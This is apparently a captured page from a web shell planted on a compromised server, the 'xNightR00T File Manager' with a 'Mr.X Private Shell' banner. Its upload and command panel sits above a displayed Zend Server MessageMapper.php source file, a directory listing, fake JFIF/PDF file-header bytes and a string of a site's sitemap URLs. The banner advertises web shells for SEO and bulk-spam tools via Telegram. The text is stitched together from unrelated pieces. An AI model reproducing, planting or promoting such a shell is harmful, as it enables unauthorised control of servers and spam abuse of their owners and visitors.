xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Messages\Db;

use Configuration\MapperAbstract,
    Messages\MessageContainer;
use Zend\Db\Sql\Where;
use ZendServer\Edition;

class MessageMapper extends MapperAbstract
{
    const CONTEXT_EXTENSION                  = 0;
    const CONTEXT_DIRECTIVE                  = 1;
    const CONTEXT_DAEMON                     = 2;
    const CONTEXT_MONITOR_RULE               = 3;
    const CONTEXT_PAGECACHE_RULE             = 4;
    const CONTEXT_JOBQUEUE_RULE              = 5;
    const CONTEXT_VHOST                      = 6;
    const CONTEXT_FILES                      = 7;
    const SEVERITY_INFO                      = 0;
    const SEVERITY_WARNING                   = 1;
    const SEVERITY_ERROR                     = 2;
    // INFO TYPES
    const TYPE_EXTENSION_ENABLED             = 0;
    const TYPE_EXTENSION_DISABLED            = 1;
    const TYPE_DIRECTIVE_MODIFIED            = 2;
    const TYPE_FILES_MISMATCH                = 3;
    const TYPE_MONITOR_RULES_UPDATED         = 8;
    const TYPE_JOBQUEUE_RULES_UPDATED        = 9;
    const TYPE_PAGECACHE_RULES_UPDATED       = 10;
    const TYPE_RELOADABLE_DIRECTIVE_MODIFIED = 12;
    // WARNING TYPES
    const TYPE_MISSMATCH                     = 3;
    const TYPE_NOT_LICENSED                  = 11;
    const TYPE_INVALID_LICENSE               = 13;
    const TYPE_LICENSE_ABOUT_TO_EXPIRE       = 14;
    const TYPE_SC_SESSION_HANDLER_FILES      = 23;
    // ERROR TYPES
    const TYPE_MISSING                       = 4;
    const TYPE_NOT_LOADED                    = 5;
    const TYPE_NOT_INSTALLED                 = 6;
    const TYPE_OFFLINE                       = 7;
    const TYPE_WEBSERVER_NOT_RESPONDING      = 15;
    const TYPE_SCD_STDBY_MODE                = 24;
    const TYPE_SCD_ERROR_MODE                = 25;
    const TYPE_SCD_SHUTDOWN_ERROR            = 26;
    const TYPE_VHOST_ADDED                   = 27;
    const TYPE_VHOST_REMOVED                 = 28;
    const TYPE_VHOST_MODIFIED                = 29;
    const TYPE_VHOST_REDEPLOYED              = 30;
    const TYPE_VHOST_WRONG_OWNER             = 31;

    protected $setClass = '\Messages\MessageContainer';

    /**
     * Check if a specific daemon is offline. Specify a serverId to check on a single server, otherwise it is a cluster-wide check
     *
     * @param string $daemon
     * @param integer $serverId
     *
     * @return boolean
     * @throws \ZendServer\Exception
     */
    public function isDaemonOffline($daemon, $serverId = null)
    {
        $where = new Where();
        $where->equalTo('CONTEXT', self::CONTEXT_DAEMON);
        $where->equalTo('TYPE', self::TYPE_OFFLINE);
        $where->equalTo('MSG_KEY', $daemon);
        if (!is_null($serverId)) {
            $where->equalTo('NODE_ID', $serverId);
        }
        return $this->count('*', $where) > 0;
    }

    /**
     * @param $context
     * @param $msgKey
     * @param $severity
     * @param $details
     * @param integer $type
     */
    public function insertMessage($context, $msgKey, $severity, $details, $type)
    {

        $edition = new Edition();

        $data = array('node_id' => $edition->getServerId(), 'context' => $context, 'msg_key' => $msgKey, 'msg_severity' => $severity,
            'details' => $details, 'type' => $type);
        if (count($this->select($data)) == 0) { // insert or replace
            $this->getTableGateway()->insert($data);
        }
    }

    /**
     * @return array|\Zend\Db\ResultSet\ResultSet|\ZendServer\Set
     */
    public function findAllMessages()
    {
        return $this->select();
    }

    /**
     * @param $serverId
     *
     * @return array|\Zend\Db\ResultSet\ResultSet|\ZendServer\Set
     */
    public function findServerMessages($serverId)
    {
        $predicate = 'NODE_ID IN ("'.implode('","', array($serverId, -1)).'")'; // -1 is relevant for all
        return $this->select(array($predicate));
    }

    /**
     * @param $serverIds
     *
     * @return array|\Zend\Db\ResultSet\ResultSet|\ZendServer\Set
     */
    public function findServersMessages($serverIds)
    {
        $predicate = 'NODE_ID IN ("'.implode('","', $serverIds).'")'; // -1 is relevant for all
        return $this->select(array($predicate));
    }

    /**
     * @param $serverIds
     *
     * @return array|\Zend\Db\ResultSet\ResultSet|\ZendServer\Set
     */
    public function findAllVhostMessages($serverIds)
    {
        $predicates = new Where();
        $predicates->in('NODE_ID', $serverIds);
        $predicates->equalTo('CONTEXT', self::CONTEXT_VHOST);
        return $this->select($predicates);
    }

    /**
     * @param $serverIds
     *
     * @return array|\Zend\Db\ResultSet\ResultSet|\ZendServer\Set
     */
    public function findAllExtensionsMessages($serverIds)
    {
        $predicates = new Where();
        $predicates->in('NODE_ID', $serverIds);
        $predicates->equalTo('CONTEXT', self::CONTEXT_EXTENSION);
        return $this->select($predicates);
    }

    /**
     * @param null $serverId
     *
     * @return array|\Zend\Db\ResultSet\ResultSet|\ZendServer\Set
     */
    public function findAllDirectivesMessages($serverId = null)
    {
        $bind = array('CONTEXT' => self::CONTEXT_DIRECTIVE);
        if (is_numeric($serverId)) {
            $bind += array('NODE_ID' => $serverId);
        }

        return $this->select($bind);
    }

    /**
     * @param array $directives
     * @param null $serverId
     *
     * @return Boolean
     */
    public function isDirectivesAwaitingRestart(array $directives, $serverId = null)
    {
        $directivesMessages = $this->findAllDirectivesMessages($serverId);
        foreach ($directivesMessages as $directivesMessage) {/** @var MessageContainer $directivesMessage */
            if (in_array($directivesMessage->getMessageKey(), $directives)) {
                // we assume that if there's a message about a certain directive, then a restart is required, this might not be 100% accurate
                return true;
            }
        }

        return false;
    }

    /**
     * @return array|\Zend\Db\ResultSet\ResultSet|\ZendServer\Set
     */
    public function findAllDaemonsMessages()
    {
        return $this->select(array('CONTEXT' => self::CONTEXT_DAEMON));
    }
}

Filemanager

Name Type Size Permission Actions
MessageFilterMapper.php File 2.82 KB 0644
MessageMapper.php File 6.15 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml